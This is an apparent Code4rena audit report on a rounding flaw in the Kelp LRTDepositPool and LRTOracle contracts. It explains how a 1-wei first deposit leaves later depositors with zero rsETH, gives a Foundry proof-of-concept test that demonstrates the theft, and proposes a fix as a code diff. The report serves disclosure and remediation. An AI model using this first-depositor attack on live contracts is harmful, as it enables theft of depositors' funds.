Malicious first depositor can steal all funds from all future depositors

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L70
https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109

Vulnerability details

Impact

Due to a miscalculation in LRTOracle#getRSETHPrice(), users who call LRTDepositPool#depositAsset() when rsETH.totalSupply() is non-zero will receive fewer rsETH tokens than they should due to a rounding error. This can be exploited by a malicious first depositor, who can deposit 1 wei (frontrunning if necessary), receive 1 share and therefore cause all subsequent deposits to mint 0 shares, despite the asset tokens being transferred to the contract. Because this results in the first depositor holding 100% of the outstanding shares (1 out of 1) no matter how many more deposits occur, the attacker is entitled to the funds of those future depositors and has essentially stolen their assets.

It is worth noting that even if the first depositor is not malicious, and they deposit a reasonable amount of asset tokens, they would still be unintentionally stealing value from future depositors as the rounding error would still be present. In other words, a loss of funds for every depositor (except whoever deposits first) is guaranteed.

Proof of Concept

Explanation

In LRTDepositPool#depositAsset(), the asset tokens are transferred to the contract, and then _mintRsETH() is called to mint shares to msg.sender, which uses getRsETHAmountToMint to determine how many shares to mint. To perform the calculation, the prices of asset and rsETH are used, which are fetched by LRTOracle#getAssetPrice() and LRTOracle#getRSETHPrice().

The issue here is that the output of getRSETHPrice() depends on the balance of rsETH tokens in LRTDepositPool (as long as rsEthSupply is non-zero), and this calculation occurs after the users asset tokens for the current mint have been transferred. This means that the rsETH price will be overinflated, and since it is used as the denominator in the calculation of rsethAmountToMint, this results in fewer tokens minted to the depositor.

File: src\LRTOracle.sol

52:     function getRSETHPrice() external view returns (uint256 rsETHPrice) {
53:         address rsETHTokenAddress = lrtConfig.rsETH();
54:         uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();
55: 
56:         if (rsEthSupply == 0) {
57:             return 1 ether;
58:         }
59: 
60:         uint256 totalETHInPool;
61:         address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);
62: 
63:         address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
64:         uint256 supportedAssetCount = supportedAssets.length;
65: 
66:         for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
67:             address asset = supportedAssets[asset_idx];
68:             uint256 assetER = getAssetPrice(asset);
69: 
                // @audit getTotalAssetDeposits(asset) includes the tokens transferred for the current deposit
70:             uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
71:             totalETHInPool += totalAssetAmt * assetER;
72: 
73:             unchecked {
74:                 ++asset_idx;
75:             }
76:         }
77: 
78:         return totalETHInPool / rsEthSupply;
79:     }

File: src\LRTDepositPool.sol

095:     function getRsETHAmountToMint(
096:         address asset,
097:         uint256 amount
098:     )
099:         public
100:         view
101:         override
102:         returns (uint256 rsethAmountToMint)
103:     {
104:         // setup oracle contract
105:         address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
106:         ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);
107: 
108:         // calculate rseth amount to mint based on asset amount and asset exchange rate
109:         rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); // @audit denominator is inflated
110:     }

If the initial depositor deposits a small enough amount, say 1 wei, then the rsETH price for their mint will be 1 ether, because rsEthSupply == 0 and so the if statement is executed and they receive 1 share. With rsETH.totalSupply() now equal to 1, any future deposits will cause getRSETHPrice() to return a massively inflated value, leading to getRsETHAmountToMint() returning 0 due to a rounding error.

Coded PoC

To run the PoC, we must make some alterations to LRTDepositPoolTest.t.sol, as it currently uses LRTOracleMock defined at the top of the file, instead of LRTOracle. First, manually alter the code for LRTOracleMock so that getRSETHPrice contains the actual code from LRTOracle (simply copy and paste it in). Then, to ensure it works properly, also make sure to import LRTConfig and define the IRSETH interface.

import {LRTConfig} from "src/LRTConfig.sol";

interface IRSETH {
    function totalSupply() external view returns (uint256);
}

contract LRTOracleMock {
    LRTConfig lrtConfig;

    // @audit necessary to set lrtConfig state variable so that getRSETHPrice() works
    constructor(address _lrtConfig) {
        lrtConfig = LRTConfig(_lrtConfig);
    }

    function getAssetPrice(address) public pure returns (uint256) {
        return 1e18;
    }

    // @audit below function copy+pasted from LRTOracle.sol
    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }
}

Now the PoC can be run using the logic of the LRTOracle contract. The below test function shows that the first depositor (alice) can deposit 1 wei to ensure that any subsequent depositors receive 0 shares regardless of their depositAmount, and despite their asset tokens being transferred to the deposit pool contract.

    function test_MaliciousFirstDepositor() external {
        // Setup
        vm.prank(admin);
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));

        uint256 aliceAmount = 1 wei;
        uint256 bobAmount = 40_000 ether;
        uint256 carolAmount = 40_000 ether;

        // Cache balances
        uint256 aliceBalanceBefore = rseth.balanceOf(address(alice));
        uint256 bobBalanceBefore = rseth.balanceOf(address(bob));
        uint256 carolBalanceBefore = rseth.balanceOf(address(carol));

        // Alice deposits
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), aliceAmount);
        lrtDepositPool.depositAsset(rETHAddress, aliceAmount);
        vm.stopPrank();

        // Bob deposits
        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), bobAmount);
        lrtDepositPool.depositAsset(rETHAddress, bobAmount);
        vm.stopPrank();

        // Carol deposits
        vm.startPrank(carol);
        rETH.approve(address(lrtDepositPool), carolAmount);
        lrtDepositPool.depositAsset(rETHAddress, carolAmount);

        // Cache balances
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        uint256 bobBalanceAfter = rseth.balanceOf(address(bob));
        uint256 carolBalanceAfter = rseth.balanceOf(address(carol));
        
        // Alice received 1 share while Bob and Carol received 0
        assertEq(aliceBalanceAfter, 1 wei);
        assertEq(bobBalanceAfter, 0);
        assertEq(carolBalanceAfter, 0);

        // Bob and Carol's rETH is in lrtDepositPool contract
        assertEq(rETH.balanceOf(address(lrtDepositPool)), aliceAmount + bobAmount + carolAmount);

        // Alice has 100% of shares
        assertEq(aliceBalanceAfter, rseth.totalSupply());
    }

Alternatively, simply place the test file found here into the test folder. The file has three test functions:

1. first depositor deposits 1 wei maliciously (shown above)
2. first three depositors each deposit 1 ether
3. fuzz test where first depositor deposits 1 wei and second depositor deposits a random amount

Tools Used

Foundry

Recommended Mitigation Steps

Calculate the amount of rsETH to mint before transferring the asset tokens from the user to the contract, so that the price of rsETH is calculated correctly and each depositor receives a fair amount of shares. Note that there is no concern for reentrancy due to this change, as nonReentrant modifiers are used throughout the protocol and rsETH is a trusted token with no mint/transfer hooks.

File: src/LRTDepositPool.sol
    function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

+       // interactions
+       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

-       // interactions
-       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

Assessed type

Token-Transfer

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #42

[c4-judge]

fatherGoose1 marked the issue as satisfactory